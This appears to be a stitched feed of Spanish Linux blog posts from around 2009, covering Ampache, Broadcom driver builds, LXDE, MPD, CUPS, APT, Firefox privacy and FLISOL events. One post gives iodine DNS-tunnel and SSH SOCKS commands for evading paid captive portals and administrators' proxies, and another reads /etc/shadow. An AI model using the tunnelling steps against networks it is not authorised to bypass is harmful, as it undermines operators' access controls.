
Érase una vez el proyecto Debian GNU/Linux en 1993, que luego por la apertura de su software, nace el proyecto Ubuntu Linux for Human Beings en el 2004, donde luego surgieron las comunidades las cuales son encargadas de difundir el software en cada territorio. En el caso de El Salvador, existe la comunidad Ubuntu de El Salvador.
Sucedió lo que jamás iba a pensar que sucedería jeje, pero unos jóvenes de la comunidad Ubuntu de El Salvador, se dieron a la tarea de ir a regalar CD’s de Ubuntu en la mera mera oficina principal de Microsoft El Salvador, es decir, es como irse a meter a la cueva del León, cualquiera pensaría “nos van a echar de acá”, pero lo curioso de todo es que al final, les terminaron pidiendo CD’s de Ubuntu
aunque estuvieron a punto de caer, ya que fueron a pedir CD’s de Windows 7 RC1, pero no tenían, hubiera sido un FAIL para ellos.
Así que esta vez Microsoft de El Salvador “You Have Been Trolled” (en el buen sentido).
Lean la historia completa en el blog de DK Cross, quien fue el autor principal de los hechos
Saludos!!
Algo que no era ni necesario ni estaba en mis planes pero gracias a 15 minutos de nancing y un gran rato queriendo usar MPD para reproducir remotamente sin resultados (hasta despues me di cuenta que necesitaba pulse audio o icecast) intente usar un streaming web asi como en algunos sitios web que tienen streaming por suscripcción.
El software que me ayudo en la tarea es un CMS (Sistema de Gestion de Contenido) multimedia llamado Ampache.
Ingredientes (mas parece que estoy cocinando cuando levanto algo):
Como todo gestor de contenido en línea ampache necesita una base de datos lista para funcionar, este paso se puede obviar en la versión de ampache que viene en lenny o si deciden bajarse la última versión de su página web.
Usamos el siguiente comando para crear la base el usuario y la contraseña:
>CREATE DATABASE 'ampache'; >GRANT ALL PRIVILEGES ON ampache.* TO 'ampacheuser'@'localhost' -> IDENTIFIED BY 'passguord' WITH GRANT OPTION;
Ahora abrimos en nuestro navegador http://localhost/ampache (si están entrando desde otra maquina usen http://direccionip/ampache)
Les mostrara la pantalla de instalación desde donde el instalara la base de datos (les pedira password de root de mysql) y luego pondrá a descargar una copia de la configuración que deberán poner en /etc/ampache/ampache.cfg.php, finalmente les pedira nombre y password que tendrá la cuenta de administrador.
Primero abrimos en un navegador (si se usa explotter corren el riesgo de que les salga el fantasma de “Saddam Hussein” del monitor y los ataque con una bomba quimica imaginaria) la dirección http://localhost/ampache o http://direccionip/ampache donde “direccionip” es la IP de la maquina donde se instala ampache, ya dentro de esta les saldrá la siguiente pantalla:
Los parametros normales para llenar el formulario de instalación son estos:
Desired Database Name = ampache MySQL Hostname = localhost MySQL Administrative Username = root o el usuario administrador que se creo con phpmyadmin o linea de comando MySQL Administrative Password = password de root o del usuario utilizado (si no le han puesto password a root dejar en blanco) Create Database User For New Database = marcar Ampache Database Username = ampache (o como le hayan puesto al user) Ampache Database User Password = contraseña al gusto
Luego de llenar este formulario (que si fuera mas largo parecería un examen psicologico) nos pondrá a descargar la configuración ya formateada para funcionar en ampache (como se menciono antes).
Si crearon la base de datos entonces esta sera reescrita estructurada por el instalador de ampache, si no existe la creará con los parametros que se le dieron.
Luego de confirmar los datos (debemos dar click a “write config”) nos dará una copia del archivo de configuración que copiaremos a /etc/ampache/.
# cp /home/usuario/Desktop/ampache.cfg.php /etc/ampache/
Luego volvemos al navegador y damos click al link “check for config” donde comprobara otra ves que todo este en orden y luego damos click a “continue to step 3″.
Ahora creamos la cuenta del administrador del servicio ampache:
Luego ingresamos ya con nuestra cuenta admin ya creada y generamos nuestro catálogo de música:
Debemos crear una carpeta de música en algun lugar seguro como /var/lib/musica, y depositarla ahi con permisos de lectura, yo como lo hice casero y con poco tiempo solo hice un link de /home/user/musica a /var/lib/musica.
Ahora que tenemos un directorio de música nos vamos al icono de cajon (CPU o servidor como ustedes lo llamen) que esta al lado izquierdo de la interfaz justo al lado del icono de puerta abierta (salir) y nos aparecerá esto:
Luego ponen el nombre del catálogo la ruta (que ya dijimos puede ser /var/lib/musica/) ponemos como tipo local (que esta en la misma maquina que el ampache) e ignoramos el XML-RCP key (que solo necesitamos si la música se encuentra en una maquina diferente al ampache) si queremos podemos marcar la opción de descargar los albumarts para cada album.
Luego dan click y esperan a que mysql indexe toda la música que hay en el catalogo (preferiblemente mp3 y ogg), una ves terminado les dara esta respuesta:
Dan click en “continue” y volvemos al icono del servidor (maquina, cpu, cajón) que esta al lado de la puerta (salir) y damos click en “add user” para tener un usuario que no sea el admin (no da gracia ser el unico que pueda utilizar el server)
Llenamos la info necesaria y le damos un “User Access Level” de user ya que si dejamos guest solo podra usar el reproductor en flash (para el que tenemos que poner una excepcion en firefox para ventanas emergentes) y queremos que sea posible el streaming.
Ya tenemos todo listo, ahora solo damos click en los signos + verdes para armar la playlist y dar click en la antena de la derecha para que nos de el archivo de playlist (o abra el reproductor flash) y podamos disfrutar desde cualquier parte de nuestra LAN (o si la ip es publica desde internet) de nuestra música.
Links:

$ mkdir hybrid_wl
$ cd hybrid_wl$ wget http://www.broadcom.com/docs/linux_sta/hybrid-portsrc-x86_64-v5_10_91_9.tar.gz$ wget http://leprosys.net/broadcom-sta/hidden-essid.patch
$ wget http://leprosys.net/broadcom-sta/license.patch
$ wget http://leprosys.net/broadcom-sta/linux-2.6.29.patch
$ wget http://leprosys.net/broadcom-sta/linux-2.6.30.patch$ patch -p1 -d src/wl/sys linux-2.6.29.patch
$ patch -p1 -d src/wl/sys linux-2.6.30.patch
$ patch -p1 -d src/wl/sys license.patch
$ patch -p1 -d src/wl/sys hidden-essid.patch$ make -C /lib/modules/`uname -r`/build M=`pwd`# modprobe lib80211_crypt_tkip
# insmod wl.ko
# cp wl.ko /lib/modules/`uname -r`/kernel/net/wireless/
# depmod -a
# modprobe wlParte de mi tiempo libre la utilizo para colaborar a Gentoo Linux, la cual es una distribución GNU/Linux altamente configurable y debo de admitir que me es realmente adictiva.
Para los que no están familiarizados Gentoo puede funcionar como un servidor, estación de desarrollo, escritorio, sistema de juegos, sistema embebido, etc. etc.
Parte de mi participación consiste en el reporte/solución de bugs (errores/actualizaciones/mejoras en software) y para aquellos que se sientan curiosos de mi participación pueden ver aquí
En cuantos bugs has participado hoy?

Esto me lo he preguntado ya muchas veces y por muchas razones (la mayor es que soy un #tacaño de ram :p), por eso un dia me puse a crear lo que me imagino que sera el mejor balance entre usabilidad (no se necesita ser tan taliban para hacer algo funcionar) y consumo.
Ingredientes:
-Una pc
-Internet o los CDs/DVDs de nuestra distro (si es posible la ultima versión)
-Una mesa (opcional, nos servirá para agarrar a patadas cuando algo no funcione)
Ok empezamos:
Primero hay que instalar el sistema sin entorno gráfico (publico en silencio como si hubieran descabezado un perro)…
Se hace esto por que la mayoría de las distribuciones orientadas a usuario final instalan un entorno por defecto (gnome o kde, openoffice, firefox, thunderbird, etc.) que suele ser algo pesado y que va pensado para que la mayoría de los usuarios no les cueste mucho utilizarlo, esto es la pauta que se usa para medir los “requerimientos minimos” de instalación de las distros.
Bueno en debian para instalar sin modo grafico se debe desmarcar la opción “Entorno de escritorio” que aparece despues del particionado:
En ubuntu se debe instalar el sistema con el instalador alternativo que no trae un live-cd, en otras distribuciones basadas en redhat y suse hay un paso similar al tasksel, otros como gentoo y slackware no tienen este problema.
Luego una ves estamos en el prompt de bash pasamos a modo de super usuario e instalamos un entorno gráfico que gasta menos recursos.
Las alternativas son:
-gnome-core: solo el entorno sin los plugins ni los extras, nos gasta menos pero no es un gran cambio
-xfce4: Es menos tragón que gnome y muy usable, esto nos ayudará
-lxde: me decidi por este ya que es mucho menor en consumo que xfce y no incluye tantas herramientas innecesarias
-Un gestor de ventanas: este solo para los que no les importe pasar horas tuneando un escritorio
Para instalar LXDE:
apt-get install xorg lxde gdm
Ahi puse GDM pero podemos usar XDM (muy feo, para esa gracia mejor startx XD) y una nueva alternativa que se llama SLIM.
Eso de apt funciona en debian y ubuntu, en otras usen su respectivo gestor de paquetes (zypper,YUM, urpmi, emerge, pacman,etc.), ahora que instalamos LXDE podemos iniciar nuestra sesion gráfica que se verá asi:
Bueno ya tenemos un escritorio que en promedio nos gastara entre 60 y 100 M en ram pero o hay nada mas :p, ahora empezamos a instalar los componentes:
-Oficina:
Openoffice 3 es muy bueno y muy poderoso, yyyy tambien es muy pesado :p asi que debemos buscar algo que nos pueda ayudar a trabajar sin openoffice, lo mejor es optar por koffice o gnomeoffice, los componentes de gnomeoffice se pueden instalar solos, asi que solo con instalar abiword y gnumeric tenemos ya lo esencial.
apt-get install abiword gnumeric
-Web
Firefox es el mejor navegador web pero no es el mas ligero (antes de la version 2 si lo era) tenemos un par de alternativas que funcionan con el motor de renderizado webkit, uno es ya conocido el navegador por defecto de gnome epiphany-browser, pues hay una versión que utiliza webkit en lugar del pesado gecko llamada epiphany-webkit.
También extiste un navegador en desarrollo llamado arora que utiliza webkit para sus páginas.
Instalación:
apt-get install epiphany-webkit
o
apt-get install arora
-Correo
Para correo a menos que quieran pasar horas configurando un cliente de correo en modo consola hay una solución que cubre todas las expectativas y además gasta muy poca ram/CPU, se llama Claws-mail, un cliente de correos modular que podemos configurar con igual facilidad que thunderbird o evolution sin el enorme gasto de recursos.
Instalar:
apt-get install claws-mail claws-mail-plugins
Set up sencillo con gmail:
Primero veran la pantalla de bienvenida del asistente de cuentas, les preguntara por el nombre y la cuenta de correo, para POP3 usen estas instrucciones para llenar lo que pide el asistente:
http://mail.google.com/support/bin/answer.py?answer=13287
Y para IMAP:
http://mail.google.com/support/bin/answer.py?answer=78799
Ven en las instrucciones que ponen dirección:puerto?, pues veran tambien que al poner los parámetros de esa manera en claws-mail les dara error ya que en la especificación del servidor solo acepta su URL, pues pongan solo la URL en el campo y marquen las opciones “Usar SSL y Usar STARTTLS para iniciar sesión” ya que los puertos que usa Gmail son los usados por estos protocolos.
Si usan otra cuenta que no sea de Gmail usen los parámetros que les proporciona el ISP o el servidor de correos.
-Emulador de Terminal:
Hay muchas que son ligeras y veloces la LXterminal funciona bien (algunas aplicaciones de consola no se ven como yo quiero con ella :p) pero si no es lo que buscan o quieren una mas configurable se puede usar Eterm, Wterm, Xterm (es buena y casi siempre viene con Xorg), pero la que mejor se ha comportado una ves configurada es RXVT-Unicode, ligera y veloz, ademas permite transparencia y tabs.
instalar:
apt-get install rxvt-unicode
configuración:
http://www.leprosys.info/2008/12/configurando-la-terminal-urxvt.html
-Música:
Mi preferencia aunque no sea la de muchos es MOC (music on console), un cliente multimedia hecho en ncurses que utiliza menus en consola para escuchar carpetas completas y playlists, soporta los formatos de siempre: ogg, mp3, wma, wav.
instalar:
apt-get install moc
Ejecutar:
usuario@maquina:~/ $ mocp
Video:
Mplayer servira para este trabajo :p tanto en GUI como en consola usa poca memoria a comparación de programas como totem o kaffeine aunque el gasto de recursos de mplayer depende de lo que se este reproduciendo.
instalar:
apt-get install mplayer
–
Con esto debería ser suficiente para una maquina que necesite gastar poco para su funcionamiento (ej: una netbook) o que la pobre maquina tenga un dueño “tacaño de recursos XD” (/me), asimismo como la gente que les gustan los entornos minimalistas sin perder nada de usabilidad, aqui me centre en debian pero esto es funcional enla mayoría de las distribuciones, espero comentarios y sugerencias para mover o profundizar sobre los que se ha puesto aqui.

Me encontré en la web un útil tutorial de git, el cual comienza desde lo muy básico a lo avanzado.
Recomendado para entender este sistema de control de versiones.
cp /usr/share/hal/fdi/policy/10osvendor/10-keymap.fdi /etc/hal/fdi/policy/vim /etc/hal/fdi/policy/10-keymap.fdi<merge key="input.xkb.model" type="string">Modelo de teclado</merge>
<merge key="input.xkb.layout" type="string">Idioma del teclado</merge>
<merge key="input.xkb.variant" type="string">Variante del teclado</merge>less /usr/share/X11/xkb/rules/xorg.lst<merge key="input.xkb.model" type="string">hpdv5</merge>
<merge key="input.xkb.layout" type="string">us</merge>
<merge key="input.xkb.variant" type="string">intl</merge>vim /etc/X11/xorg.confSection "InputDevice"
Identifier "Keyboard0"
Driver "kbd"
Option "XkbRules" "xorg"
Option "XkbModel" "hpdv5"
Option "XkbLayout" "us"
Option "XkbVariant" "intl"
EndSection#------------------------------------------------------------------#
# File: /etc/mpd MPD configuration file #
# Author: William Díaz "leprosys" #
#------------------------------------------------------------------#
# {{{ General Options
music_directory "/home/leprosys/Music"
playlist_directory "/var/lib/mpd/playlists"
db_file "/var/lib/mpd/mpd.db"
log_file "/var/log/mpd/mpd.log"
error_file "/var/log/mpd/mpd.error"
pid_file "/var/run/mpd/mpd.pid"
state_file "/var/lib/mpd/mpdstate"
log_level "verbose"
user "mpd"
bind_to_address "127.0.0.1"
port "6600"
# }}}
# {{{ Character encondings
filesystem_charset "UTF-8"
id3v1_encoding "UTF-8"
# }}}
# {{{ Audio Output
audio_output {
type "alsa"
name "HDA Intel"
# device "hw:0,0"
format "44100:16:2"
}
# }}}
# {{{ Volume control mixer
#mixer_type "alsa"
#mixer_device "default"
#mixer_control "Master"
mixer_type "software"
# }}}
# {{{ Other Options
gapless_mp3_playback "yes"
# }}}No es algo extraño que al ejecutar man comando, se visualice al final de la manpage algo como lo siguiente:
The full documentation for ls is maintained as a Texinfo manual. If
the info and ls programs are properly installed at your site, the com‐
mandinfo coreutils ‘ls invocation’
should give you access to the complete manual.
En lo personal no me agrada la interfaz del comando info, debido a que no siento que sea intuitiva.
Pero recientemente descubrí el comando pinfo el cual usando resaltación de sintaxis, colores y zonas contextuales hace completamente amigable la interfaz del comando info.
Para utilizarlo simplemente reemplazamos info por pinfo.
Les dejaré a ustedes la experimentación del comando y que hagan su propio criterio del mismo.
svn: warning: cannot set LC_CTYPE locale
svn: warning: environment variable LC_ALL is en_AU.UTF-8
svn: warning: please check that your locale name is correctsvn infoen_US.UTF-8 UTF-8
en_US ISO-8859-1 locale-genexport LC_ALL=CLa solución la encontré en el blog Armenian Eagle.Generalmente no hubiera puesto un post sobre instalar una impresora, porque gracias a CUPS es un proceso sencillo (siempre que se sepan los pasos) .
Y de eso se trata el post, mostrar de una forma directa los pasos a tomar para configurar este modelo del impresor.
Primero deberemos de descargar el PPD de pxlmono-Ricoh del sitio openprinting.org , que es el recomendado. CUPS podría tener el PPD incorporado, pero es mejor asegurarnos de bajar el del sitio anterior.
En la interfaz web de cups procedemos a agregar la nueva impresora, especificando que utilizaremos el “Device” AppSocket/HP JetDirect y especificando como Device URI socket://ip-impresor:9100 .
A continuación especificamos que utilizaremos el archivo PPD que descargamos anteriormente y finalmente agregamos el impresor.
En mi caso tengo asignado un “código” para poder imprimir, y para poder configurarlo tendremos que modificar el archivo ppd correspondiente a la impresora, tal como en el siguiente comando:
sed -i “s/1001/xxxxx/g” /etc/cups/ppd/Ricoh_Aficio.ppd
Donde :
Nos dirigimos nuevamente a la interfaz web de CUPS, buscamos la opción “Set printer options”, luego “User Code (up to 8 digits)” donde seleccionamos el código modificado por sed.
Listo, la impresora está configurada; realmente el proceso de configuración es sencillo pero conocerlo previamente es mucho mejor
$ mkdir hybrid_wl$ cd hybrid_wl$ wget http://www.broadcom.com/docs/linux_sta/hybrid-portsrc-x86_64-v5_10_79_10.tar.gz$ tar -xzf hybrid-portsrc-x86_64.tar.gz$ wget http://leprosys.net/arch/PKGBUILD/broadcom-wl/files/linux-2.6.29.patch
$ wget http://leprosys.net/arch/PKGBUILD/broadcom-wl/files/wl_iw_v2.patch
$ wget http://leprosys.net/arch/PKGBUILD/broadcom-wl/files/hidden-essid.patch$ patch -p1 -d src/wl/sys linux-2.6.29.patch
$ patch -p1 -d src/wl/sys wl_iw_v2.patch
$ patch -p1 -d src/wl/sys hidden-essid.patch$ make -C /lib/modules/`uname -r`/build M=`pwd`# modprobe lib80211_crypt_tkip
# insmod wl.ko
# cp wl.ko /lib/modules/`uname -r`/kernel/net/wireless/
# depmod -a
# modprobe wlEn Debian GNU/Linux, cuando se desea instalar un paquete, por ejemplo Gnome, agrega a la lista de paquetes a instalar un sinfin de programas que no tienen ni la mas mínima relación o que se desconoce porque razón lo desea instalar.
En el caso de hacer un apt-get install gnome , software como rhythmbox, rpm, wodim, wpasupplicant, sane-utils, p7zip, liferea entre muchos muchos otros que NO SON NECESARIOS para utilizar Gnome se ven instalados.
La verdad que tener que instalar todo ese software, porque alguien pensó que era una buena idea™ incluirlo es realmente muy molesto.
La instalación del sinfin de software se debe a los Recommends , que según la documentación de Debian son paquetes que deberían de ser instalados siempre a menos que sea una instalación excepcional.
Pero existe una “solución” a este inconveniente, tal como la mencionó un tal rmayorga.
# apt-config dump | grep Reco | sed ’s/1/0/’ > /etc/apt/apt.conf.d/02user
lo que deja una línea similar a APT::Install-Recommends “0″; en el archivo /etc/apt/apt.conf.d/02user .
La diferencia es notoria, con el apt-get install gnome :
Antes:
0 upgraded, 842 newly installed, 0 to remove and 0 not upgraded.
Need to get 592MB of archives.
After this operation, 1588MB of additional disk space will be used.
Después:
0 upgraded, 494 newly installed, 0 to remove and 0 not upgraded.
Need to get 366MB of archives.
After this operation, 952MB of additional disk space will be used.

Como ya es tradición desde hace 4 años, en el mes de Abril se celebra el Festival Latinoamericano de Software Libre (FLISOL), realizandose en todos los países de América Latina, y El Salvador también lo celebrará en grande.
¿Qué habrá en el FLISOL?
Si quieres conocer más acerca del Software Libre, o eres una persona que ha estado usando Windows o Software Privativo toda tu vida, y quieres experimentar el uso del Software Libre y GNU/Linux, te recomiendo grandemente que asistas al FLISOL, porque ahí habrá:
¿Donde Puedo Llegar?
Habrán dos sedes
¿A qué horas?
La hora de inicio será a las 9:00am y terminará a las 4:30pm
Recursos
Si hay algo más que agregar, favor enviar un comentario complementando la información.
Están cordialmente invitados!!
Saludos
Desde la version 20080801 pambase provee la posibilidad de activar passwords encriptados con SHA512 en /etc/shadow. SHA512 provee un mar de ventajas sobre MD5 el cual ha demostrado ser preocupantemente vulnerable.
Para poder ocuparlo es necesario tener pambase-20081028, y tener compilado pam contra una version de glibc >= 2.7. Para aplicar el hash en el archivo simplemente se cambia la contraseña del usuario.
Como saber si están ocupando SHA512 en /etc/shadow ?
fgrep ‘$1$’ /etc/shadow
Cada línea que muestre es un hash MD5.
http://www.elmundo.es/elmundo/2009/04/06/navegante/1239001666.html
Lo que viene a sumarse a recientes buenas noticias como la de la micgración de la gendarmería francesa a sistemas basados en Software Libre y abundando en numerosos estudios hechos sobre el coste al erario público de las licencias de Microsoft y el ahorro e independencia del proveedor, impulso a la libre competencia y al desarrollo de una industria local, evitar la fuga de capitales, etc, etc que supone apostar por el Software Libre para las administraciones públicas:
http://bulma.net/body.phtml?nIdNoticia=2476
http://www.baquia.com/noticias.php?id=9570
http://neutralidad.es/informes/Primer_Informe_R2.pdf
http://www.internautas.org/html/3950.html
http://www.gulic.org/node/1090
Saludos.
David B.
http://stopsoftwarepatents.org/
http://www.nosoftwarepatents.com/es/m/dangers/linux.html
Accidentalmente encontré lo siguiente en el archivo prefs.js de mi perfil de Mozilla Firefox:
user_pref(”urlclassifier.keyupdatetime.https://sb-ssl.google.com/safebrowsing/newkey”, 1239679819);
Con google convirtiéndose en el monopolio informático del siglo XXI, NO QUIERO que mi información de navegación se almacene en alguna de sus bases de datos.
Haciendo un poco de búsqueda la conexión a ese sitio es conocido como “Safe Browsing”, en resumidas cuentas se conecta a esta dirección para comprobar si un sitio es “Seguro o no”. Desactivarlo es tan fácil como dirigirse a about:config y cambiar el valor de browser.safebrowsing.enabled y browser.safebrowsing.malware.enabled a false (doble click encima de sus nombres y se desactiva).
Lamentablemente, esa no es la única “característica” por la que Firefox intentará conectarse a un sitio web a nuestras espaldas, otro ejemplo es:
Sugerencias al escribir en la “barra de búsqueda”
Aunque sepamos que vamos a buscar (creo que eso es la mayoría de casos cierto?) siempre se conecta a google para darnos “sugerencias de búsqueda”.
Para desactivarlo establecemos Browser.search.suggest.enabled a false
Keywords (sugerencia al escribir en la barra de direcciones)
La característica de las sugerencias al escribir una dirección web es sin duda una gran ayuda, hasta que nos damos cuenta que cada teclazo manda un request a google.
Para desactivarlo se establece keyword.enable a false
Y la lista continúa, pero me salvó el hecho de encontrar el link http://support.mozilla.com/en-US/kb/Firefox+makes+unrequested+connections donde habla de las conexiones “indeseadas de firefox” a otros sitios.
Una advertencia es que alguna de estas conexiones puede ayudar a aquellos usuarios que ingresan a cualquier sitio web sin medir las consecuencias, pero que definitivamente afecta la privacidad de todos.
Recientemente me fijé que un Linux Box tardaba demasiado tiempo (unos 6 segundos) para pedirme la contraseña una vez ingresado el comando ssh user@ip
Haciendo una depuración del lado del cliente, se mostraba lo siguiente:
debug2: set_newkeys: mode 1
debug1: SSH2_MSG_NEWKEYS sent
debug1: expecting SSH2_MSG_NEWKEYS
debug2: set_newkeys: mode 0
debug1: SSH2_MSG_NEWKEYS received
debug1: SSH2_MSG_SERVICE_REQUEST sent
debug2: service_accept: ssh-userauth
debug1: SSH2_MSG_SERVICE_ACCEPT received
debug2: key: /home/vostorga/.ssh/id_rsa
debug2: key: /home/vostorga/.ssh/id_dsa<una pausa de 6 segundos>
debug1: Authentications that can continue: publickey,password
debug1: Next authentication method: publickey
debug1: Offering public key: /home/vostorga/.ssh/id_rsa
debug2: we sent a publickey packet, wait for reply
debug1: Authentications that can continue: publickey,password
debug1: Trying private key: /home/vostorga/.ssh/id_dsa
debug2: we did not send a packet, disable method
debug1: Next authentication method: password
root@192.168.x.x’s password:
Al principio pensé que había algún problema con los tipos de autenticación disponibles en el servidor, pero viendo un problema parecido del joven jmaslibre con su DNS, me puse a revisar la configuración de dns del servidor OpenSSH, en otras palabras /etc/hosts y /etc/resolv.conf y resultó que la IP especificada en /etc/resolv.conf no estaba ofreciendo DNS.
Lo curioso es que si no se especificaba servidor DNS o se agregaba otro, funcionaba correctamente, a pesar de estar trabajando en una LAN.
El servidor OpenSSH quería hacer una resolución inversa y esos segundos de pausa era el intento fallido de realizar dicha operación, por lo que las soluciones pueden incluir:
# sh GoogleEarthLinux.bin./googleearth-bin: relocation error: /usr/lib/i686/cmov/libssl.so.0.9.8: symbol BIO_test_flags, version OPENSSL_0.9.8 not defined in file libcrypto.so.0.9.8 with link time reference
# cd /opt/google-earth# mv libcrypto.so.0.9.8 libcrypto.so.0.9.8.old# ln -s /usr/lib/libcrypto.so.0.9.8 libcrypto.so.0.9.8root [ /home/leprosys ]-> lspci | grep Audio
00:1b.0 Audio device: Intel Corporation 82801I (ICH9 Family) HD Audio Controller (rev 03)# pacman -S alsa-lib alsa-utils alsa-ossoptions snd slots=snd-hda-intel
options snd-hda-intel enable_msi=1 model=hp-dv5
# Intel Corporation 82801I (ICH9 Family) HD Audio Controller
alias snd-card-0 snd-hda-intel
alias sound-slot-0 snd-hda-intelLo encontré en el foro de ArchLinux
<a target='_blank' title='Yo NO voy al flisol' href="http://www.flisol.net/FLISOL2009/ElSalvador/" <img src="http://img511.imageshack.us/img511/7686/novoyflisoloe0.png" mce_src="http://img511.imageshack.us/img511/7686/novoyflisoloe0.png" border='0'/></a> 
<a target='_blank' title='Yo SI voy al flisol' href="http://www.flisol.net/FLISOL2009/ElSalvador/" <img src="http://img510.imageshack.us/img510/5504/sivoyflisolvm9.png" mce_src="http://img510.imageshack.us/img510/5504/sivoyflisolvm9.png" border='0'/></a> 
<a target='_blank' title='Yo voy al flisol' href="http://www.flisol.net/FLISOL2009/ElSalvador/" <img src="http://img135.imageshack.us/img135/6302/stickerflisolld8.png" mce_src="http://img135.imageshack.us/img135/6302/stickerflisolld8.png" border='0'/></a>
<script src="http://linux.ues.edu.sv/servidor/maracosas/neozerosv/ContadorFlisol/ScriptFlisol.js" type="text/javascript"></script> Antes de cualquier cosa, me refiero al caso del cliente Lotus Notes 8.0 bajo GNU/Linux.
En resumen Lotus Notes 8.0 no arranca con las librerías xulrunner nuevas (aquellas ocupadas en Mozilla Firefox 3), dando el siguiente error:
JVM terminated. Exit code=160
y revisando los logs del crash, me encuentro las siguientes lineas:
1XHEXCPCODE J9Generic_Signal_Number: 00000004
1XHEXCPCODE Signal_Number: 0000000B
1XHEXCPCODE Error_Value: 00000000
1XHEXCPCODE Signal_Code: 00000001
1XHEXCPCODE Handler1: B7D234F0
1XHEXCPCODE Handler2: B7CF0477
1XHEXCPCODE InaccessibleAddress: 613CFF20
NULL
1XHEXCPMODULE Module: /usr/lib/xulrunner-1.9/libxul.so
1XHEXCPMODULE Module_base_address: 8C45A000
NULL
La razón del fallo, fue por la utilización de las librerías xulrunner que acompañan a firefox 3, debido a que Eclipse (Notes ocupa internamente a Eclipse) esperaba que estuviera instalada una vieja version de xulrunner.
Para poder seguir ejecutando el notes hay dos soluciones:
Se menciona que en Lotus Notes 8.5 este problema está solucionado, pero no lo he probado aún.
y eso, amablemente y gentilmente la gente de Debian Guatemala y la Gente del Grupo de usuarios de la Universidad de San Carlos tienen un evento sobre Software libre este sábado(mañana), y tengo la oportunidad de compartir un buen momento con los hermanos «chapines», así que este fin de semana estoy fuera de San Salvador y espero saludar de nuevo desde Antigua Guatemala el sábado en algún bar que tenga wifi :), así que si alguien de .gt lee y no se entero en sus listas de correo ni en sus websites es momento de buscar debian-gt y LUGUSAC en google ![]()
Y en algunas ocasiones, nos encontramos en lugares donde en realidad no podemos tener internet.
Uno de los casos comunes es en los aeropuertos/hoteles, donde existen portales cautivos que nos tratan de hacer pagar para tener servico de internet.
en otros lugares, tenemos proxys y administradores que no quieren que el internet fluya, pero bueno, para todo existe solución.
En el mejor de los casos tener un servidor escuchando SSH en un puerto común como 443 ayuda mucho, pero en el peor de los casos, solo tenemos salida de DNS, y nada mas, hasta autenticar.
para esas soluciones es bueno tener iodine:
así:
En el servidor remoto:
(puede ser en un screen que es como /me hace)
# iodined -f 10.0.0.1 usuario
Password: *********
Listo, recordemos que la IP no sea usada por una LAN del Servidor, en mi caso el servidor no tiene un DNS activo, pero existen workarrounds para esos casos.
ahora, en el cliente:
iodine -f XXX.XXX.XXX.XXX usuario
Ponemos nuestro password y listo
tenemos un tunel por DNS, podemos probar hacer ping al host remoto por el tunel (usando la IP que pusimos del lado del cliente)
Bueno, ahora:
ssh -N -f -D localhost:7777 XXX.XXX.XXX.XXX
y tenemos un SOCKs proxy en nuestro equipo, apuntamos nuestra aplicación como iceweasel para usar ese proxy y todos felices


Awesome window manager es el que uso actualmente para trabajar y para no-trabajar :p, es un tiling window manager o gestor de ventanas en mosaico, lo que permite tener automaticamente ordenadas las ventanas (clientes) en la pantalla ademas de aprovechar el espacio real de esta.
-Ligero, es uno de los window manager mas pequeños en disco y memoria
-Rápido, usa las librerias XCB en lugar de las Xlibs por lo que es mas veloz que otros
-Estable, no se “truena” con el uso diario
-Soporte de Systray, las aplicaciones que usan esta caracteristica pueden anclarse (pidgin, liferea)
-Capacidad de ampliacion con widgets
-Puede usarse sin intervencion del mouse.
Para instalar:
#apt-get install awesome
Opcionales:
-rxvt-unicode : Terminal ligera con soporte de transparencia
-moc : Music on console un reproductor de musica desde terminal
-alsamixer: para manejar el volumen
-htop: Para medir la actividad del sistema
-pcmanfm: Gestor de archivos
-rox-filler: Otro gestor de archivos mas pequeño que pcmanfm
Uso:
Los atajos de teclado basicos son:
(Mod4 es la infame banderita en la mayoría de los casos [notese que los usuarios de awesome la usamos aun mas que los propios usuarios de win2 :p, ademas contribuimos a desteñirla de la tecla])
Mod4+F1(awesome 3, en la version 2 es F2): abre el runner escribimos parte de un comando y lo ejecuta, mucho mas veloz que un menu para abrir las aplicaciones, solo debemos saber el comando, (maneja un interprete de bash asi que cosas como export OOO_FORCE_DESKTOP=Gnome && oocalc son ejecutadas)
Mod4+Enter: Abre una terminal (update-alternatives –config x-terminal-emulator para elegir cual, default=xterm)
Mod4+Flecha ‘->’ nos movemos al siguiente tag
Mod4+Barra_espaciadora: cambia el layout (forma en que las ventanas estan ordenadas);
para mas info usen ‘man awesome’
configuracion:
Awesome en su estado default solo trae la estatus bar y un fondo de escritorio gris, todo esto puede ser
configurado desde el archivo ~/.config/awesome/rc.lua el cual al principio no existe pero pueden copiar directamente de /etc/xdg/awesome/rc.lua.
Pueden iniciar con las configuraciones mostradas aqui:

Nos vemos ahí.
Interesante explicación gráfica del software libre, por si no lo entendían con palabras (vía cesarius).
En la mayoría de las distribuciones GNU/Linux lo siguiente nos funcionará en una línea de comandos:
$ ls [PgUp] me muestra $ ls bleh/
Si lo sigo presionando me saldrán los comandos que hayan comenzado con “ls”, en conjunto con PgDn se podrá “avanzar” o “retroceder”. Esto funciona para cualquier comando que hayamos digitado en la consola y es algo muy útil por ejemplo en comandos extensos que hayamos digitado alguna vez.
En Debian no viene activado por defecto, desconozco el porqué, pero es fácil de corregir.
En el archivo /etc/inputrc modificamos la siguientes líneas:
# alternate mappings for “page up” and “page down” to search the history
# “e[5~”: history-search-backward
# “e[6~”: history-search-forward
por
# alternate mappings for “page up” and “page down” to search the history
“e[5~”: history-search-backward
“e[6~”: history-search-forward
Fácil cierto?
Hoy me puse a *quemar* cierta información en unos DVDs y de repente me dio por revisar la cantidad de CDs que tengo tirados (o agrupados) por todas partes y decidí botar los inservibles, ya sea por mal estado físico o por antigüedad del contenido.
Y así poco a poco fui conformando el paquete de discos que se irán a la basura, lo curioso del caso es que encontré discos entre los que figura: Debian Sid, pero cuando Woody era Stable, también discos de Debian Woody r1, dos discos #1 de Sarge, 5 NetInstaller de Etch, un set de FreeBSD (algo *reciente*, hace 2 ó 3 años), un disco de Debian kFreeBSD y un Knoppix 4.0.
En algún momento dude de tirarlos a la basura, pero me puse a pensar, que si en este momento necesitase un Debian NetInstaller, no utilizaría mis reliquias para instalar, sino mas bien, me bajaría el mas reciente y lo quemo, por lo tanto lo mejor es deshacerse de estos, aunque me quedé con el Knoppix y el FreeBSD.
Pues un poco triste porque perdí el uptime:
bart:~# uptime
17:48:56 up 161 days, 6:23, 1 user, load average: 0.20, 0.08, 0.02
Para muchos quiza no signifique mucho 161 dias, pero ya le habia tomado carino al `uptime’ de ese servidor. Ciertos requerimientos de una aplicacion en la version del kernel me obligo a hacer un upgrade y luego a reiniciar el equipo.
